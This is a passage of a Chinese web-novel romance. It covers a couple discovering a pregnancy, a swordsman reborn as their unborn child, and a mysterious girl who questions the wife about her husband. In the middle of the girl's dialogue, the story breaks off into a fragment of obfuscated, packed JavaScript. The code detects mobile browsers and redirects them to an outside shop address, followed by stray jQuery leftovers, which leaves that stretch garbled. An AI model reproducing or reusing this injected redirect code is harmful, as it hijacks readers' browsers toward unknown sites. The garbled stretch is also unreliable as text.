叶英耳根微微发热,面上却依旧镇定。他看了春华一眼,语气平淡:“日后多练练,总会好的。” 林芊雅从镜中看他那副认真的样子,心里像是被什么软软的东西轻轻撞了一下。 她抬手摸了摸那有些歪斜的木簪,唇角弯弯的。 他雕的,他绾的,便是歪了些,她也喜欢。 午后,林芊雅在书房窗下的软榻上看书。 是前些日子让春华寻来的地方志,写的都是些各地的风土人情奇闻异事。她从前便喜欢看这些,只是后来烦心事多,便搁下了。如今日子清闲,便又捡了起来。 看了一会儿,眼皮便有些发沉。她强撑着又翻了两页,终究抵不过倦意,书卷滑落膝头,头歪向一侧,沉沉睡了过去。 叶英坐在不远处的书案后,正在默写一套心法口诀。 那是他近日来慢慢回想起的一些零碎片段,不成体系,但总觉得是重要的东西,便趁还记得清楚,先记下来。 他写得专注,偶尔抬头看一眼榻上的人。见她睡得沉,眉头就微微蹙了一下。 这些日子,她似乎比往常更容易犯困。从前虽也嗜睡些,但不像如今这般,看书看着看着便睡着了,有时用着膳也会走神,筷子悬在半空,半晌才回过神继续吃。 他总觉得有些不对,但又说不上来哪里不对。 正想着,窗外忽然暗了下来。 他抬头一看,只见天边乌云翻涌,压得极低,竟是快要落雨了。 闷雷声远远传来。他放下笔,轻手轻脚走过去,先拾起书卷放好,又取了条薄毯给她盖上。 刚盖好,一道闪电划过,紧接着“轰隆”一声巨响。 睡梦中的林芊雅被惊得猛地一颤。叶英几乎是下意识地伸出手,轻轻捂住了她的耳朵。 她皱了皱眉,嘴里含糊地嘟囔了句什么,却没有醒,反而在他掌心下蹭了蹭,寻了个更舒服的姿势,又沉沉睡去。 叶英就这么维持着那个姿势,一动不动。雷声渐渐远了,他也没松手,低头看着她毫无防备的睡颜,心里忽然很安静。 窗外的雨声依旧,雷声滚滚。 但他想,若能一直这样,也好。 这一觉睡到夕阳西下才醒。 雨早就停了,空气里带着湿润的草木清香,暑气也退了许多。林芊雅醒来时身上盖着薄毯,屋里一片安宁。她有些茫然地坐起来,正对上书案后叶英的目光。 “醒了?”他放下手里的书,“饿不饿?厨房温着粥。” 她摇摇头,睡了一觉精神倒好了些:“不如出去走走吧,屋里闷了一天。” 两人便往后头的小园走去。 园中花草被雨水冲洗得格外鲜亮,石板路上还有浅浅的水痕。丫鬟仆从们见他们过来,都笑着行礼避让,那笑意里带着善意,没有半点逾矩。 林芊雅心情很好,脚步也比往常轻快些。 走到一株紫薇树跟前,花开得正好,一簇簇挤在枝头。林芊雅停了步,微微踮脚想去嗅那最高处的一簇,却够不着。 她正有些遗憾,叶英已经走到她身后,伸手轻轻折下了那枝花,递给她。 “给你。” 林芊雅愣了一下,随即笑起来,接过那枝紫薇,嗔道:“夫君怎么还辣手摧花呢?” 一旁的园丁周叔正巧经过,听见这话,笑呵呵地接道:“夫人这话可说岔了。这花开在枝头,过几日也是要落的。如今被姑爷折了送给夫人,正是它的造化呢。” 林芊雅被他说得脸微微一红,看了叶英一眼。 叶英面上依旧平静,唇角却微微弯了一下。 两人继续往前走,林芊雅将那枝紫薇拿在手里,偶尔凑近闻闻。她边走边说着闲话,一会儿说起方才看的志怪里写的趣事,一会儿又说起小时候和春华在园子里捉蝴蝶的事。 叶英便静静听着,偶尔“嗯”一声,算是回应。 她的声音柔柔的,像这江南的水,缓缓淌进他心里。 他记不清过去的事,但总觉得,以前好像也没有过这样的时候,不需要想别的,只需要听着她说话就好。 她也不在意他话少,她知道他在听。 正说着,脚下忽然一滑。 她踩到一块还带着水渍的青苔,身子猛地往后仰去,惊呼声还没出口,腰间便被一只手稳稳托住。 叶英几乎是瞬间便将她扶住了,另一只手还下意识护住了她手里那枝紫薇。 林芊雅惊魂未定,手已经抓住了他的衣袖,攥得紧紧的。 “当心些。”他低声道。 她点点头,却没松手,就着被他扶住的姿势站稳了。他也没有立刻松开她,反而顺势让她靠近了些,走得比方才更慢。 两人的影子被西斜的太阳拉得长长的,投在湿漉漉的石板路上,交叠在一起,分不清是谁的。 林芊雅低头看了一眼,唇角弯了弯。 园子里偶尔有丫鬟仆从经过,远远见了他们,便笑着绕道走了。 一切都是寻常的模样,却让人觉得心里满满的,踏实得很。 转眼便入了秋。 林芊雅近来却总觉得有些不对劲。 起初只当是换季的缘故,也没往心里去。 这日午后,她坐在窗边做针线。 是想给叶英做件贴身的里衣,料子选好了,裁剪好了,正细细地缝着。 缝着缝着,忽然一股恶心涌上来,毫无征兆的,她脸色一白,连忙放下针线,用手捂着嘴,深吸了好几口气才压下去。 刚缓过来,便觉一阵头晕,眼前也黑了一瞬。她扶住桌沿,好一会儿才稳住。 “怎么了?” 叶英的声音忽然响起。 她抬头,见他不知何时已走到身边,眉头微微蹙着,手里端着一杯温水递过来。 她摇摇头,勉强笑了笑:“没事,许是刚才起猛了,有点头晕。” 其实这也不是头一回了。 近来她总容易乏,胃口也不如从前,偶尔闻到油腻的就反胃。她只当时节转换,自己身子弱,一时不适应罢了。 叶英看着她,没说话。 那目光让她莫名有些心虚,又低下头继续缝。 春华正好进来送茶,见小姐脸色不太好,也关切地问了几句。林芊雅只说没事,让她别大惊小怪。春华应了,刚要退下,忽然想起什么似的,脚步顿了顿。 她看了看小姐,又看了看小姐搁在一旁的针线,再看了看小姐的肚子,脸上露出一种古怪的神情。 “小姐,”她压低了声音,凑近些,“您上回月事,是什么时候?” 林芊雅愣了一下,随即开始回想。 这一想,她怔住了。好像……是有些日子了。 春华见她神色,心里便明白了七八分,脸上那古怪的神情变成了又惊又喜的复杂,却不敢声张,只小声道:“小姐,要不……请个大夫来看看?” 林芊雅先是没反应过来,等明白过来时,脸腾地一下就红了,连耳根都烫了起来。 她下意识抬手按在小腹上,心跳忽然快了,又慌又乱,又隐隐盼着什么。 可能吗?她不敢往下想。 月事迟了……恶心头晕……嗜睡易倦…… 这些日子那些被她忽略的异常,忽然都涌了上来,指向一个她既不敢想、又隐隐期盼的可能。 可是……万一不是呢? 万一只是身子还没好利索,万一只是她自己想多了,万一……空欢喜一场? 她咬着唇,手指不自觉地攥紧了衣角。 叶英站在一旁,将她的反应和春华那低语都看在眼里。 他不懂医理,更不懂女子这些事,但春华那没说完的话,还有林芊雅骤然红透的脸、按在小腹上的手,让他脑子里忽然闪过一个念头。 他看向林芊雅的腹部,又看向她那张通红的脸和慌乱的眼神,心脏跳得又快又重,像是有什么东西要从胸腔里冲出来。 他张了张嘴,声音有些发干:“我去请大夫。” “别!”林芊雅连忙拉住他的衣袖,声音里带着一丝慌乱和恳求,“再等等……万一……万一不是呢?” 她不想让他空欢喜。也不想让自己空欢喜。 叶英看着她眼底那小心翼翼的期盼和害怕,心头那阵激荡慢慢沉了下去,化作更深的怜惜和耐心。 他没再坚持,只是反握住她的手,低声道:“好,听你的。” 可从那以后,他便愈发留意她的一举一动。 她起身,他扶;她坐下,他看;她吃得少了,他眉头便蹙起来;她睡得多些,他便在榻边守着,手里握着那卷心法,眼睛却总往她脸上瞟。 林芊雅将这些细微的变化看在眼里,心里甜丝丝的,又带着几分忐忑。 夜里,她偶尔会醒过来,手便不自觉地抚上小腹怔怔地望着帐顶出神。 那里……真的会有一个小小的生命吗? 她和他的孩子? 这个念头一浮起来,心便跳得厉害,又软又慌,连呼吸都轻了几分。 她不敢想太多,怕失望。却又忍不住去想。 自那以后,叶英待她越发小心了。 她多睡一会儿,他便不让任何人打扰。她吃饭时稍稍皱眉,他便留意哪些菜不合胃口,下回就让厨房换了清淡的来。她在廊下散步,他总是不远不近跟着,目光时时落在她身上,像怕她磕着碰着似的。 这日清晨,林芊雅刚起身,便觉一阵强烈的恶心翻涌上来。 她来不及反应,扶着床柱便干呕起来,呕得眼泪都出来了,却什么也吐不出。 叶英几乎是瞬间便到了她身边,一手扶着她,一手轻拍她的背脸色凝重得厉害。 待她稍稍平复,他低声道:“我去请大夫。” 这一次,林芊雅没有再阻拦。 她靠在他怀里,指尖微微发着抖,心跳得厉害,却说不出话来。 叶英低头看她,将她那点紧张和害怕都看在眼里。他握紧她的手,声音沉稳,一字一句道: “别怕。无论如何,有我。” 那声音不高,却像定心丸一样,将她心头那阵慌乱轻轻按住了。 林芊雅抬起头,看着他沉静的眉眼,看着他眼底那不容置疑的坚定,忽然觉得,不管结果如何,好像也没那么怕了。 她轻轻点了点头,回握住他的手。 “嗯。” 老大夫很快被请了来。 诊脉的时候,叶英就站在一旁,目光落在那根搭在妻子手腕上的细线上,指尖无意识地摩挲着袖口,面上虽看不出什么,呼吸却比平日轻了几分。 林芊雅低着头,睫毛垂着,看不清神情,只是另一只没被诊脉的手攥着袖口,攥得有些紧。 老大夫的手指搭了片刻,又换了只手,眯着眼细细感受。叶英看见他眉头微微动了一下,又很快松开,心里那根弦便也跟着绷紧了一瞬。 片刻后,老大夫收回手,捋着花白的胡须站起身,脸上带着笑意,对着叶英拱了拱手。 “恭喜公子,尊夫人这是喜脉,已有一月有余了。” 叶英怔了一下。 喜脉。 他下意识去看林芊雅。她低着头,露出的半边脸颊却以肉眼可见的速度染上了一层薄红。 “……当真?”他听见自己开口,声音比平时绷得紧了些。 “千真万确。”老大夫点点头,随即又压低声音,面色转为凝重,“只是夫人先天体质偏弱,此前又颇多劳心伤神之事,眼下胎象虽稳,但仍需格外仔细将养。万万不可再忧思劳神,情绪亦不宜有大起大落。” 叶英的心随着这几句话沉沉落下。 老大夫又嘱咐了些注意事项,什么该吃什么不该吃,什么月份该注意什么,叶英一一应着,却总觉得那些话从左耳进去,又从右耳飘了出去,没留下多少痕迹。 等大夫走了,屋里便静了下来。 他望向屋内,林芊雅正低头无意识地整理着衣袖,侧脸显得格外纤细脆弱,长长的睫毛垂下掩不住眼底那一丝惶然与无措。 他走过去,在榻边坐下。她没有抬头,也没有说话,只是那绕着衣带的手指顿了一下,随即绕得更快了。 “芊雅。”他唤她。 她没应,只是睫毛轻轻颤了颤。 叶英不知该说什么。他只觉得有什么东西压在胸口,沉甸甸的,说不清是喜悦还是担忧,又或者两者都有。 他想起岳父偶尔的感叹,说她性子模样都随了早逝的岳母。而岳母便是生产后落了病根,早早撒手人寰。 他想起溶洞里她失血过多时苍白的脸,想起她每日喝药时隐忍蹙眉的模样,想起岳父偶尔感叹时那句“她娘便是生产后落了病根”。 思及此,一股寒意悄然爬上脊背。他渴望与她拥有血脉相连的骨肉,这份期待悄然在他心中生根已久,但若要以她的安危为代价…… 那些念头纷至沓来,让他心口发紧。 可是,他看见她垂着眼的模样,看见她微微泛红的耳尖,又觉得那些担忧之外,还有一种陌生柔软他不知该如何名状的情绪,正一点点从心底冒出来。 他伸出手,覆在她绕着衣带的那只手上。 她的手有些凉。他握紧了些。 林芊雅终于抬起头,目光与他相接。 她眼眶有些红,睫毛上沾着一点水光,嘴角却努力弯了弯,像是想笑给他看。那笑容有些勉强,带着小心翼翼的试探。 “大夫说……是喜脉。”她轻声说,声音有些哑。 叶英点头:“嗯。” “我……”她顿了顿,垂下眼,那一点水光便顺着睫毛滑下来,落在他的手背上,“我也不知道该高兴还是该害怕。” 她吸了吸鼻子,声音更轻了:“我娘便是……我总怕自己也……” 她没说完,但叶英听懂了。 他手上用力,将她的手握得更紧了些。他向来不善言辞,此刻更不知该说什么来安抚她。他只能握紧她的手,让她感受到他的存在。 “我在。”他说。 林芊雅抬起眼看他,眼眶红红的,泪还挂在脸上,却忽然笑了一下。 “我知道。”她轻声说,声音还带着哽咽,却比方才稳了些,“我知道你在。” 她抬起头,恰好对上他复杂的目光,嘴角努力想扬起一个安抚的笑,眼圈却不受控制地先红了。 “叶英,”她轻声唤他,声音里带着不易察觉的哽咽,“你过来。” 他依言走到榻前,单膝跪坐下来,与她平视。 她冰凉的指尖轻轻抚上他紧蹙的眉心,那动作温柔又带着一丝小心翼翼的试探。 “别皱眉……爹爹若是知道了,定会高兴的。” 这个孩子的到来,于她而言是莫大的惊喜,可心底深处对母亲命运的恐惧,又让她无法全然开怀。 她贪恋着眼前的日子,想与他长长久久,可若要她放弃这孩子,亦是绝无 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他手里的书卷“啪”地落在案上,眼睛睁得大大的,难以置信地看着叶英,脸上的血色褪了又涌,涌了又褪,变幻了好几下。 “……什么?”他的声音有些发颤,“你说什么?” “喜脉。”叶英重复了一遍,“芊雅有了身孕。” 林承泽猛地向后靠进椅背,抬手捂住了眼睛。 叶英看见他的肩膀微微颤抖着,许久没有出声。 他没有打扰,只是安静地站着。他能理解岳父此刻的震动。这不仅仅是添丁进口的喜悦,更关联着太多沉重的往事和无法预知的未来。 过了好一会儿,林承泽才放下手。他的眼眶是红的,眼底却分明有光亮闪烁。 “好……好……”他连着说了两个“好”字,声音依旧带着颤音,却多了几分真实的欣慰与激动 “这是大喜事……天大的喜事……” “你们……你们都是好孩子。” 喜悦只持续了片刻。 林承泽脸上那点笑意便慢慢敛了去,眉头紧紧锁起,手指无意识地敲着桌面,发出沉闷的声响。 “只是……雅儿的身子……”他看向叶英,眼神锐利起来,“大夫怎么说?胎象可稳?她如今可承受得住?” 叶英将大夫的话原原本本复述了一遍。 林承泽听完,沉默了很久。 他又何尝不知女儿体质像她早逝的母亲,生产于她而言无异于一道鬼门关。 这份迟来的期盼,伴随着巨大的风险。 “叶英啊。”他终于开口,声音里带着疲惫,也带着说不出的郑重,“雅儿……我就托付给你了。” 他看着叶英,目光里甚至有了一丝恳求的意味:“这孩子来得不易,是缘分。但雅儿更是我的命根子。无论如何,务必以她为重。千万……千万不能有闪失。” 叶英对上他的目光,郑重地点了点头。 “小婿明白。”他说,“必竭尽全力,护她们母子周全。” 林承泽点了点头,似乎稍稍放心了些。 他重新拿起那卷落在案上的书,在指间无意识地摩挲着,目光投向窗外沉沉的夜色。 “也好……”他喃喃自语,声音低得几乎听不见,“有了这孩子,雅儿往后也算有了更深的寄托……我这把老骨头,就算哪天真的……” “去吧。”林承泽挥了挥手,声音恢复了往日的沉稳,只是眼底那点红意还在,“去陪着雅儿。需要什么,尽管让下人去置办。” 叶英躬身行了一礼,转身退出书房。 门关上的刹那,他听见身后传来一声极轻的叹息。那叹息里,有欣慰,有不舍,还有一份如释重负般的释然。 与此同时,一个微弱的意识,正在那片温暖的海洋里缓缓苏醒。 ……这是哪儿? 没有光,没有声音,只有某种温热的液体包裹着周身,伴随着规律而有力的心跳声,一下,又一下。 叶孤城用了很长一段时间,虽然他自己也不知道这段时间有多长,才勉强搞清楚了自己的处境。 他投胎了。 而且还处在非常早期的那种。 “………” 他沉默地感受着四周。 没有四肢,没有五官,只有一团模糊的意识被困在这片狭小的空间里。他试着动一动,却发现根本不知道该怎么动。 叶孤城觉得自己应该愤怒,或者至少感到荒谬。 他堂堂白云城主,剑道巅峰,紫禁之巅一剑封神的存在,如今竟然…… 竟然是个胚胎。 他甚至还没长出完整的四肢。 这合理吗? 他努力回想投胎前的最后记忆 ……他死了,但又没完全死透。 紫禁之巅那一剑,他本可以避开的。但他没有。并非不能,而是不愿。 西门吹雪的剑刺穿他心脏的刹那,极致的痛楚之后,是一种前所未有的空明与顿悟,他其实已经突破了剑道的极限。那一瞬间,天地万物在他眼中都成了剑……风是剑,云是剑,连西门吹雪惊愕的表情都像是一把锋利的剑。 他追求了一生的剑道极致,竟在生命终结的这一刻,以一种荒谬的方式达成了。他满足了,甚至觉得有几分可笑。于是,他心安理得地闭上了眼,准备迎接彻底的虚无,或者去地府会会历代剑道先贤也不错。 ……然后就被黑白无常拦住了。还有黑无常那只不知是故意还是故意的脚,还有那句“一路顺风记得给五星好评”。 ……这就是他们说的“优先安排再就业”? 叶孤城沉默着。 他决定,如果将来有机会见到那俩人?鬼?神?,一定要用剑好好问候他们全家。 但愤怒归愤怒,现状已经如此,他也只能接受。 他开始尝试感知外界。 随着时间推移,他能感知到的东西渐渐多了起来。 比如,这个身体的母亲,气息很弱似乎身体不太好。他偶尔能听见她的声音,温软,平静,带着一种让人安心的力量。 比如,这个身体的父亲,似乎是个高手。 叶孤城能隐约感知到外界的一缕剑意,凝练,纯粹,虽与他生前的剑道有所不同,却同样令人心悸。那人气息沉稳,步伐有力,偶尔靠近时,叶孤城能感觉到那股熟悉的锋锐感。 ……不错。 叶孤城在心里默默给这个便宜爹打了个及格分。 等他好不容易“长”出去后,至少不愁找不到人练剑了。 他开始默默规划:等能握剑了,先练哪套基础剑法打底比较好?白云城主的骄傲让他拒绝思考自己可能需要从头学走路、吃饭、说话这种悲惨事实。 就在这时,他忽然察觉到一丝异样。 在他隔壁不远的地方,存在着另一个微弱的心跳节律。同样被包裹在这片温暖的海洋里,同样正在缓慢地生长。 叶孤城愣住了。 他这辈子……还有个兄弟姐妹? 他试着集中精神“看”过去,但现在的他连视觉神经都没开始发育,只能凭借模糊的感知力勉强分辨。 对方的气息更柔和微弱一些,似乎是个女孩。 叶孤城沉默了片刻。 ……妹妹? 也行吧。 只是,希望这个妹妹安静一点,乖巧一点。千万别太吵。 他不喜欢太吵的。 正想着,隔壁那个微弱的心跳忽然剧烈跳动了几下。 叶孤城:“……” 他还没反应过来,就感知到一股极其微弱像是刚睡醒还带着点迷糊的意识,小心翼翼地探了过来。 那意识在他周围转了两圈,然后像是确认了什么似的,欢快地贴了过来。 叶孤城:“……” 他努力往后缩了缩,但这个地方就这么大,他能缩到哪儿去? 那意识贴得更紧了,带着一种单纯的好奇和依赖,像是找到了什么好玩的东西,又像是本能地靠近同类的温暖。 叶孤城沉默地感受着那股软乎乎的没有边界意识的触感,心里只有一个念头。 ……完了。 这孩子好像不太聪明的样子。 39. 云华水月 自那日诊出喜脉,转眼便过了三个多月。 林芊雅的身子渐渐显怀了些,只是人依旧清瘦,穿着宽松的衣裙倒看不出来,只有她自己知道腰身是粗了一圈的。害喜的劲儿过去之后,她精神倒好了许多,大夫也说不必总闷在屋里,适当走动走动对身子有益。 府里的事早交代了下去,春华秋月几个大丫鬟管着各摊,有拿不准的才来回她。她每日里便是看书,走动,晒太阳,偶尔叶英陪她在院子里走走,不说话,就那么安安静静地并肩走着,也觉得挺好。 叶英还是那副寡言少语的模样,只是如今看她时的目光,比从前更多了几分小心翼翼的在意。她起身时他必在身后扶着,她蹙眉时他便递上温水,她夜里睡不安稳,他便整夜整夜地守着,手掌一下下轻轻拍着她的背,直到她重新睡熟。 林芊雅有时候想,这孩子还没出来,她倒先被当孩子养了。 这日午后,阳光正好,不冷不热的。 林芊雅用完膳,在屋里坐了一会儿,便觉得有些闷,便起身去了后花园。 春华本要跟着,她摆摆手说不用,就在园子里走走,不走远,一会儿便回来。春华想了想,也便没再坚持。 园子里很静,偶尔有几声鸟叫。 走到一处假山旁时,林芊雅忽然听见了点动静。 那声音很轻,像是衣料蹭过花枝的窸窣声,又像是谁在极力压低呼吸却还是漏了一丝出来。她顺着声音望过去,就看见假山背后、一丛开得正盛的金桂旁边,露出半个毛茸茸的小脑袋。 那脑袋上扎着两个小揪揪,用金丝发带系着,阳光下闪着细碎的光。 林芊雅愣了一下,随即有些好笑。 那是谁家的小姑娘,怎么躲在那儿? 此刻她正趴在假山后头,身子半隐在花丛里,脑袋微微探出来,像是在……偷看什么。 林芊雅忍不住有些想笑。 那小姑娘似乎正背对着她,趴在假山上,也不知道在看什么,看得专注极了,完全没发现自己已经暴露。 林芊雅看着那毛茸茸的小脑袋,心里忽然软了一下。 或许是快要当母亲的缘故,她如今看这样的小孩子,总觉得格外可爱。连那鬼鬼祟祟躲在假山后面的模样,都觉得有趣得很。 她往前走了一步,那小姑娘没察觉。她又走了一步,还是没察觉。 林芊雅忍不住弯了弯唇角,索性走到假山旁边,朝着那小姑娘伸出只手,轻轻招了招。 那小姑娘正背对着她,忽然瞥见一只手伸过来,整个人明显愣了一下。 林芊雅看见她小小的肩膀僵了一瞬,然后慢慢转过头来—— 一张玉雪可爱的小脸,白白净净的,眼睛又大又亮,黑白分明,此刻正带着点懵懵的茫然看着她。小姑娘穿着一身鹅黄间白的衣裙,料子是极好的云锦,衣襟袖口用金线绣着繁复的花纹,头上扎着双丫髻,各簪着一朵小巧的赤金海棠花。 好看得很。 林芊雅心里想着,嘴角的笑意便又深了些。 那小姑娘只懵了一瞬,随即便像是想起什么似的,脸上那点茫然褪去,取而代之的是一种“我懂了”的安心表情。 她没理林芊雅那只招她的手,反而大摇大摆地直起身,甚至还往旁边走了一步,神态自若,仿佛自己根本不存在于任何人眼中一样。 林芊雅:“……” 她眨了眨眼,顺着那小姑娘的方向,又看了一眼。 那小姑娘见她目光跟过来,脚步顿了顿,脸上露出一点狐疑。 她又往左边挪了一步。 林芊雅的视线也跟着往左边挪了一点。 她又往右边挪了一步。 林芊雅的视线也跟着往右边挪了一点。 那小姑娘站在那儿,眼睛越睁越大,嘴也慢慢张开了。 “你——”她指着林芊雅,声音脆生生的,带着难以置信的震惊,“你居然看得见我?!” 林芊雅被她这反应逗得有些好笑,用手帕掩了掩唇,忍着笑意问:“怎么?我不该看见你吗?” 那小姑娘没回答她。 因为此刻,小姑娘的脑海里正炸开一片混乱。 『系统!系统!』她在心里疯狂尖叫,『怎么回事!你不是说这个隐身没人能看出来吗!』 一道懒洋洋的、带着点无辜的声音在她脑子里响起:『对呀,其他人下人的确没看出来呀。』 『那她怎么——』 『但是女主不同嘛。』系统的语气理所当然,『女主拥有唯一真实的破妄之眼,所以你的隐身对她无效哦。』 小姑娘:“……” 『你他妈怎么不早说!』 『你又没问。』 小姑娘深吸一口气,在心里把这破系统骂了八百遍。 但面上,她只能维持着那副震惊过度的表情,脑子里飞快地转着,想着怎么蒙混过关。 她眨巴眨巴眼,努力让自己看起来更无辜一些,小脸上挤出一点可怜巴巴的神色,像是在说“我只是个什么都不知道的小孩子”。 林芊雅看着她那副表情,心里越发觉得好笑。 这孩子,方才还大摇大摆的,现在又装起无辜来了。变脸倒快。 她也没戳破,只是走上前几步,在那小姑娘面前蹲下身来。这个高度,刚好与那小姑娘平视。 她伸出手,轻轻摸了摸那小姑娘的脑袋。发丝软软的,带着一点不知什么花香的清甜气息。 “你是谁家的小姑娘呀?”她问,声音温柔,“叫什么名字?怎么跑到我家里来了?” 那小姑娘被她摸着头,小脸上的表情僵了一瞬,随即又挤出那副无辜的样子,眼巴巴地看着她。 林芊雅看着那双眼巴巴的大眼睛,心里那点软意又浓了些。 不管这孩子是谁家的,不管她为什么躲在假山后面,总归是个漂亮孩子。 她想起自己肚子里那个还没出世的,不知道将来是不是也这样可爱。 这么想着,她便又轻轻揉了揉那小姑娘的脑袋,等着她回答。 不过她到底是个孕妇,蹲了一会儿就觉得腰有些受不了。 她便看了看旁边不远处的长椅,对着那小姑娘招招手,然后牵着她往那边走。等走到长椅边,她自己先坐下了,又拍了拍身旁的位置,示意那小姑娘也坐。 那小姑娘本来正张着嘴要回答她的问题,见她这动作,愣了愣,随即很乖地挨着她坐下了。 林芊雅歪着头看她,嘴角含笑,也不急着催。 那小姑娘被她这样看着,倒是有点不好意思了,小腿在长椅下晃了晃,眼睛往旁边瞟,就是不看她。 林芊雅也不恼,就那样安安静静地看着她。 过了一会儿,那小姑娘似乎终于想起自己还有问题没回答,便又转回头来,对上林芊雅含笑的眼睛,又愣了愣。 “……呃。”她张了张嘴,像是不知道怎么开口似的。 林芊雅便又笑了笑,温声问:“方才问你的,叫什么名字呀?” 那小姑娘抿了抿唇,然后像是下定了什么决心似的,挺了挺小胸脯,脆生生地开口: “我叫云华水月!” 说完,她又摆了摆手,一副“这不重要”的样子:“不过这不重要——” 她顿了顿,眼神忽然变得有些不一样了。那目光在林芊雅脸上转了一圈,然后往下移了移,落在她微微隆起的腹部上。 她看着那肚子,眼神里带着点好奇,还有一点莫名的期待。但她没有伸手去摸,只是那样看着,像是在确认什么似的。 林芊雅注意到了她的目光,也没恼,只是含笑看着她。 云华水月看了一会儿,收回目光,又对上林芊雅的眼睛,忽然开口: “其实我是有问题想问你的。” “噢?”林芊雅挑了挑眉,声音温温柔柔的,“你想问什么?” 云华水月又挺了挺胸,那姿态莫名带了几分大人模样,双手还学着大人的样子撑在腰上,眼神里带着一种审视的意味。 “你爱庄……啊不,”她顿了顿,像是说漏嘴了什么,又赶紧改口,“你爱叶英么?” 林芊雅愣了一下,随即嘴角的笑意更深了。 “为什么突然这么问呢?”她笑着问,伸手轻轻摸了摸云华水月的脑袋。 “哼,”云华水月别了别嘴,倒也没躲开她的手,“问问还不可以吗?” 林芊雅看着她那副故作傲娇的小模样,忍不住笑出了声,用帕子掩了掩唇,然后认真地想了想。 “嗯,”她点点头,声音温柔却笃定,“爱哦。” 云华水月听了,却似乎不太满意这个回答。她别着嘴,晃了晃悬在长椅下的两条小腿,一副怀疑的语气: “嗯——口说无凭。你能有多爱?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224204|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林芊雅看着这孩子一本正经问出这种问题,心里好笑,正要开口回答,却见她不知从哪里掏出一根黄白相间、透明莹润的东西,正往嘴里送。 那东西瞧着有些奇怪,像是吃食,但林芊雅从未见过。她也不在意,只当是哪家铺子的新奇点心。 “喂,”云华水月舔了一口那东西,又问,“你们怎么认识的呀?” 林芊雅看着她那吃得认真的小模样,心里软软的,便也由着她问。 “唔,”她想了想,“或许是……英雄救美?和美救英雄?” 云华水月听了,撇了撇嘴,一脸嫌弃:“老套。” 林芊雅忍不住笑出声来。 她伸出手,轻轻摸着云华水月的脑袋,指尖顺着她柔软的发丝滑过,然后便含着笑意,慢慢开始说了起来。 说溶洞里她背着他一步一步往外挪时,他滚烫的额头抵在她颈侧。说他在昏迷中短暂清醒时,那双没有焦距的眼睛茫然地望向她所在的方向。说他后来握着她手腕时掌心粗糙的薄茧和令人安心的温度。说红烛下他清晰映着自己影子的眼眸,和那句“叶英定不负你”。 她说得很慢,声音温温柔柔的,像是在说给自己听,又像是在说给这孩子听。 云华水月听着听着,手里的雪糕也不舔了,人就那样愣愣地看着她,眼睛睁得大大的,嘴微微张着,像是被什么定住了一样。 林芊雅说完,便含笑看着她,也不催。 云华水月愣了好一会儿,才回过神来。 她眨了眨眼,又眨了眨眼,然后别过脸去,哼了一声。 “行吧,”她别着脸,声音却还脆生生的,“勉强合格。但你一定要对他好噢,不然我不会放过你的,我会很生气的!” 说完,她还鼓了鼓脸,像是要证明自己真的很会生气似的。 林芊雅看着她那鼓鼓的小脸,心里软得一塌糊涂。 “好~”她拖长了声音,像是在哄小孩似的,“一定对他好。” 云华水月却还不满意,又转回头来,认真地看着她:“口说无凭,我们拉钩!” 林芊雅愣了愣,随即笑了起来。 “好,”她笑着伸出手,“拉钩。” 云华水月便伸出自己小小的手指,勾住她的,一本正经地念起来: “拉钩上吊——一百年不许变!” 念完,她还用力晃了晃,像是在盖章确认。 林芊雅看着她那认真的小模样,心里又是好笑又是柔软。 等拉完钩,云华水月便又收回手,继续舔她的雪糕,一副事情办完了的满意模样。 林芊雅看着她,忽然开口。 她的语气还是温温柔柔的,却带了一丝轻描淡写的意味: “现在我都回答了你的问题了,那么,水月——” 她顿了顿,含笑看着云华水月,声音依旧温柔: “你可以回答我一个问题吗?” 云华水月愣了一下,抬起头看她。 “你跟我夫君认识,对吗?” 林芊雅的语气轻描淡写,像是在问今天天气怎么样一样随意。 但云华水月的眼睛却一下子瞪大了。 她愣在那儿,手里还拿着那根雪糕,却忘了舔,整个人像是被定住了一样,瞳孔地震。 林芊雅看着她那副模样,用帕子抿了抿唇,掩住笑意。 “你——你难道有读心术吗!”云华水月终于回过神来,声音都拔高了。 “不,”林芊雅摇摇头,依旧笑着,“那当然没有。我只是见过你身上这身衣裳罢了。类似的衣裳,我曾经在别的地方见过哦……” 她说的当然是最开始在官道上救了叶英的那袭黄衣布料,虽然颜色要稍嫩些。但……她看得出来,这是同一种工艺…… 她顿了顿,目光温柔地看着云华水月:“再加上后来你问我问题时说话的语气,还有你方才的回应……看来,我应该是猜对了。” 云华水月张了张嘴,想说什么,却又说不出来。 林芊雅看着她,声音依旧温柔,却多了一丝认真的意味: “从你的话语中,我能断定你对夫君应该是没有恶意的。夫君受了重伤,失了忆,回忆不起任何事。包括他的家和他的家人,我想——” 她顿了顿,目光直视着云华水月的眼睛: “你应该知道他的过去,对吗?” 40. 谁是大庄主最爱的小叽? 云华水月整个人都僵住了。 她拿着雪糕的手停在半空,嘴巴微微张着,眼睛瞪得溜圆,那表情活像一只被雷劈中了的猫。脑子里一片空白。 不对!怎么被看出来的?! 她明明什么都没说啊! 衣服?衣服怎么了? 这可是校服里最好看的**套了!比那些cos服的质量好了不止30倍呢! 甚至可能是因为现在身体是游戏账号的原因,她都还不用洗! 刀枪不入水火不侵好着呢? 她愣在那儿,雪糕都忘了舔,整个人傻乎乎的。 林芊雅看着她那副呆掉的模样唇角的笑意便更深了些。 她伸出手,指尖还带着刚才梳理她头发时的柔软触感,轻轻碰了碰小姑娘冰凉的小脸。 林芊雅看着她那副表情,忍不住笑出了声。她伸手轻轻摸了摸云华水月的脑袋,动作温柔得像在安抚一只受惊的小猫。 “不要怕,”她说,语气轻柔,“我对你没有恶意。” 云华水月眨了眨眼,终于从那巨大的震惊里找回一点神智。 她定了定神,然后努力挺了挺小胸脯,抬起下巴,脸上露出一种“我一点都不慌”的强撑出来的镇定。 “谁、谁怕了!”她别开脸,声音脆生生的,却带了点不易察觉的虚张声势,“我只是……只是没想到你会问这个。” 林芊雅含笑看着她,也不戳穿她那点强撑。 